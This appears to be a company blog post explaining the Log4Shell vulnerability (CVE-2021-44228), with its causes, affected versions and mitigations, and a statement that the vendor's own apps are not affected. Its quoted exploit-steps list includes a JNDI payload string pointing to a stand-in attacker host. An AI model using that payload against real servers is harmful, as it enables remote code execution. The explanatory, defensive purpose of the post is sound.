You may have noticed a few days ago a critical vulnerability in the Apache Log4j library.
Here are some explanations and details.
What is CVE?
CVE for Common Vulnerabilities and Exposures is a database of publicly disclosed information security issues.
Every CVE is assigned a number known as a CVE Identifier. CVE identifiers are assigned by one of around 100 CVE Numbering Authorities (CNAs).
A CVE identifier takes the form of CVE-[Year]-[Number]. Year represents the year in which the vulnerability was reported. The number is a sequential number assigned by the CNA.
Anyone can report a CVE to a CNA. Most commonly, researchers, white hat hackers, and vendors find and submit CVE reports to one of the CNAs.
Additional information on each CVE can be found directly on vendor websites, as well as in the NIST National Vulnerability Database (NVD). The NVD provides CVSS Based Scores, fix information, and other important details often needed by information security teams that want to mitigate the vulnerability or assess its overall priority.
What is Apache Log4j?
Apache Log4j is a Java-based logging utility. It is part of the Apache Logging Services, a project of the Apache Software Foundation. Log4j is one of several Java logging frameworks.
log4j is in the Java ecosystem. It is probably the most popular utility and one of the most used in Java applications.
What about CVE-2021-44228?
On December 9, 2021, a vulnerability was reported by Chen Zhaojun of the Alibaba Cloud Security Team that could allow a system running Apache Log4j version 2.14.1 or below to be compromised. On December 10th, 2021, NIST published a critical CVE in the National Vulnerability Database identifying this as CVE-2021-44228. The official CVSS base severity score has been determined as a severity of 10.
The threat, also named Log4Shell or LogJam, is a Remote Code Execution (RCE) class vulnerability.
Technical details:
The “Log4j 2 vulnerability” can be exploited by sending specially crafted log messages into Log4j 2. The attacker does this by leveraging the Java Naming and Directory Interface (JNDI) – which is a Java abstraction layer included by default in the Java SE Platform that allows a Java application to retrieve data from directory services (such as LDAP). JNDI uses HTTP URIs to resolve to a specific directory service – and the URI can be adjusted as needed to resolve to the right directory location. Using Log4j 2, an attacker sending a log message with a specially crafted URI can cause the application to execute arbitrary code (such as by providing a Base64 encoded script in the path).
This is due to specific behavior in Log4j 2 that allows for the input of variable data into the log (called Lookups). In a Lookup, the reference is queried and evaluated for input into the log. By using this feature during an exploit, the attacker uses the URI input to instruct Log4j 2 to resolve an object they input (such as an encoded script).
Exploit Steps:
Reference : https://www.lunasec.io/docs/blog/log4j-zero-day/#exploit-steps
1. Data from the User gets sent to the server (via any protocol),
2. The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server),
3. The log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via “Java Naming and Directory Interface” (JNDI),
4. This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process,
5. This injected payload triggers a second stage, and allows an attacker to execute arbitrary code.
*Affected Apache log4j Versions :*
log4j v2 : 2.0-beta9 <= Apache log4j <= 2.14.1
log4j v1 : Depending on configuration that should use JMS appender. This is a very specific configuration. so the risk is much lower.
Mitigation :
Option 1: Upgrading to >= 2.15.0.
In version 2.15.0, pattern layout no longer enables lookups within message text by default. The old ‘log4j2.formatMsgNoLookups’ which enabled this behavior has been removed as well as the ‘nolookups’ message pattern converter option.
In version 2.16.0, it completely removed support for Message Lookups, and disabled JNDI by default.
Option 2: Enable formatMsgNoLookups
Versions between 2.10.0 to 2.14.0 can set a flag `-Dlog4j2.formatMsgNoLookups=true` to no longer format lookups in messages.
Option 3: Upgrade by any ways !
How does it impact Axelor Apps ?
In AOP >= 5.0, we use logback as the default logging solution as opposed to log4j. So we aren’t vulnerable to this attack.Logback does not offer a lookup mechanism at the message level. Thus, it is deemed safe with respect to CVE-2021-44228.
The `log4j-to-slf4j` and `log4j-api` jars that we include cannot be exploited on their own. Only applications using `log4j-core` and including user input in log messages are vulnerable.
A new logback 1.2.8 version has been published today. While this fixes a security issue, prerequisites for exploits are very different as they “requires write access to logback’s configuration file”. Our upcoming releases will pick up this new version.
In AOP < 5.0, we use SLF4J with log4j 1.2 binding for logging. As log4j 1.x does not offer a JNDI lookup mechanism at the message level by default, it is safe.
What about other softwares ?
There is huge work done by @SwitHak, listing all affected applications : https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
Affected applications that we may use internally have been patched or upgraded on December 9, 2021 : Sonar, Jenkins, Metabase, …
How is it huge ?
– Log4j is used by a very large percentage of the Java programs developed in the last decade for both server and client applications. Java is also one of the top programming languages used by businesses. This is thousands of millions of applications impacted.
– Official CVSS base severity score has been determined as a severity of 10 : This is the max score allowed !
– It is easy and trivial to exploit as it doesn’t require authentication to be exploited.
– It impacts huge companies (Apple, Telsa, …) : Researchers trigger new exploit by renaming an iPhone and a Tesla (https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sms-log4shell-log4j-exploit-researchers-test)
– Cybersecurity firms BitDefender, Cisco Talos, Huntress Labs, and Sonatype have all confirmed evidence of mass scanning of affected applications in the wild for vulnerable servers and attacks registered against their honeypot networks following the availability of a proof-of-concept (PoC) exploit.
References :
– https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-44228
– https://www.lunasec.io/docs/blog/log4j-zero-day/
– https://www.cert.ssi.gouv.fr/alerte/CERTFR-2021-ALE-022/
– https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592